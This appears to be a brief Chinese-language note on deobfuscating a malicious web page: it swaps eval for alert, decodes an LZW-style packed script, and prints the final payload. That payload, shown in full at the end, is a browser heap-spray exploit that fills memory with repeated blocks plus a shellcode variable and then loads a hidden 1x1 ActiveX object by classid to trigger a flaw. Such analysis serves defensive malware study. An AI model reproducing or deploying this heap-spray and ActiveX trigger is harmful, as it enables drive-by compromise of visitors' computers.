alert(O00O);替换eval(O00O);
发现是
function ____(_O0)
{
eval(unescape(_O0));
}
于是alert(O0OO);替换____    (O0OO);
获取eacpae过的代码
freshow解密下

var l2=window.opera?1:0;
function l3(l4)
{
l5=/za/g;l6=String.fromCharCode(0);
l4=l4.replace(l5,l6);
var l7=new Array(),l8=_1=l4.length,l9,lI,il=16256,_1=0,I=0,li='';
do
{
l9=l4.charCodeAt(_1);
lI=l4.charCodeAt(++_1);
l7[I++]=lI+il-(l9<<7)
}
while(_1++<l8);
var l1=new Array(),l0=new Array(),Il=128;
do
{
l0[Il]=String.fromCharCode(Il)
}
while(--Il);
Il=128;
l1[0]=li=l0[l7[0]];
ll=l7[0];
_l=1;
var l_=l7.length-1;
while(_l<l_)
{
switch(l7[_l]<Il?1:0)
{
case 0 :
l0[Il]=l0[ll]+String(l0[ll]).substr(0,1);
l1[_l]=l0[Il];
if(l2){li+=l0[Il]};
break;
default:
l1[_l]=l0[l7[_l]];
if(l2){li+=l0[l7[_l]]};
l0[Il]=l0[ll]+String(l0[l7[_l]]).substr(0,1);
break
};
Il++;
ll=l7[_l];
_l++
};
if(!l2){return(l1.join(''))}
else{return li}
};

var lO='';
for(ii=0;ii<O0O0.length;ii++)
{
lO+=l3(O0O0[ii])
};
if(naa){document.write(lO)};


把最后一句document.write(lO)改成alert(lO)
得到最终代码

<script>

var hs=20;

var omybro=unescape(nndx);

var slackspace=hs+dashell.length;

while(omybro.length<slackspace)

omybro+=omybro;

bZmybr=omybro.substring(0,slackspace);

shuishiMVP=omybro.substring(0,omybro.length-slackspace);

if('\v'=='v'){

while(shuishiMVP.length+slackspace<0x30000)

shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;

}

memory=new Array();

for(x=0;x<300;x++)

memory[x]=shuishiMVP+dashell;

var myObject=document.createElement('obj'+'ect');

DivID.appendChild(myObject);

myObject.width='1';

myObject.height='1';

myObject.data='./button.gif';

myObject.classid='clsid:0955AC62-B'+'F2E-4CBA-A2B9-A63F7'+'72D46CF';
